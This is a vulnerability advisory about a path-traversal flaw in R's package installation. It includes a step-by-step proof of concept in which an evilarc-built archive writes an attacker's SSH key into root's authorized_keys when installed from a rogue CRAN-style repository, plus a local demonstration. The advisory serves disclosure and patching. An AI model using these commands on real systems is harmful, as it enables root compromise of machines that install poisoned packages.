The R programming language’s default package manager CRAN is affected by a path traversal vulnerability that can lead to server compromise. This vulnerability affects packages installed via the
cli command or the
R CMD install
function from the interpreter.
The R packaging system leverages the
format to bundle source code. Attackers can create malicious packages that contain path traversal payloads in the archive header of
files, which then allow files to be written outside of the specified installation directory during unarchiving. Depending on the permissions of the user installing the malicious dependency, this issue can be leveraged to overwrite legitimate binaries on the host, create cronjobs, or write SSH keys to the affected host resulting in compromise.
|CRAN||CRAN package manager||4.0.2 and prior|
One vulnerability was identified in the CRAN package manager.
Update to version 4.0.3
The R language package manager CRAN is vulnerable to compressed file path traversal that results in arbitrary file write and therefore code execution. To create a compressed file path traversal payload, the publicly available tool Evilarc from GitHub (https://github.com/ptoomey3/evilarc) was used with the following commands:
$ python evilarc.py --os unix -p root/.ssh/ -f Matrix.tar authorized_keys
Creating Matrix.tar containing ../../../../../../../../root/.ssh/authorized_keys
$ mv Matrix.tar Matrix.tar.gz
Figure 1 - Commands to create path traversal payload
In the figure above,
contained a valid SSH public key. Once the payload was created, an R CRAN repository was built following the steps outlined in the following blog post: https://blog.sellorm.com/2019/03/30/build-your-own-cran-like-repo/. The path traversal payload was then moved to replace the legitimate Matrix package in the created repository with the following command:
$ mv Matrix.tar.gz cranroot/src/contrib/Matrix_1.2-18.tar.gz
Figure 2 - Command to replace valid package with path traversal package
With the payload set in a CRAN-style repository, the payload was then hosted with the following commands:
$ cd cranroot/
$ python -m SimpleHTTPServer 80
Figure 3 - Commands to host malicious repository
The package was then installed in an R repel from a second server:
R version 4.0.2 (2020-06-22) -- "Taking Off Again"
Copyright (C) 2020 The R Foundation for Statistical Computing
Platform: x86_64-pc-linux-gnu (64-bit)
R is free software and comes with ABSOLUTELY NO WARRANTY.
You are welcome to redistribute it under certain conditions.
Type 'license()' or 'licence()' for distribution details.
Natural language support but running in an English locale
R is a collaborative project with many contributors.
Type 'contributors()' for more information and
'citation()' on how to cite R or R packages in publications.
Type 'demo()' for some demos, 'help()' for on-line help, or
'help.start()' for an HTML browser interface to help.
Type 'q()' to quit R.
> install.packages("Matrix", source = TRUE, repos = "http://[REDACTED]")
Installing package into ‘/usr/local/lib/R/site-library’
(as ‘lib’ is unspecified)
trying URL 'http://REDACTED/src/contrib/Matrix_1.2-18.tar.gz'
Content type 'application/gzip' length 10240 bytes
downloaded 10240 bytes
ERROR: cannot extract package from ‘/tmp/Rtmp2dXKun/downloaded_packages/Matrix_1.2-18.tar.gz’
The downloaded source packages are in
In install.packages("Matrix", source = TRUE, repos = "http://[REDACTED]") :
installation of package ‘Matrix’ had non-zero exit status
Figure 4 - Using R CRAN to install malicious package
R gave an error because the package contained only a file path traversal and no legitimate code. However, the file path traversal executed successfully and
was written to
. The attacker thus was allowed to SSH into the server that installed the package as the root user. This resulted in full compromise of the underlying server where the package install occurred.
This exploit could also be done locally using the
feature. For demonstration purposes, a directory was created in the temporary directory:
R CMD INSTALL
$ mkdir /tmp/DEMO
$ ls -la /tmp/DEMO
drwxr-xr-x 2 root root 4096 Sep 18 09:22 .
drwxrwxrwt 35 root root 4096 Sep 18 09:22 ..
Figure 5 - Creation of an empty demo directory
The same path traversal was then exploited for demonstration locally:
$ python evilarc.py --os unix -p tmp/DEMO/ -f demo.tar authorized_keys
$ mv demo.tar demo.tar.gz
$ R CMD INSTALL demo.tar.gz
ERROR: cannot extract package from ‘demo.tar.gz’
$ ls -la /tmp/DEMO/
drwxr-xr-x 2 root root 4096 Sep 18 09:28 .
drwxrwxrwt 35 root root 4096 Sep 18 09:28 ..
-rw-r--r-- 1 root root 399 Sep 11 07:47 authorized_keys
Figure 6 - R CMD INSTALL exploitation demo
This path traversal vulnerability could be exploited by enticing R developers to install arbitrary packages hosted in arbitrary repositories, in local affected packages, or potentially in the standard CRAN repository. However, hosting path traversal payloads in the legitimate standard CRAN repository was not confirmed to be possible during testing.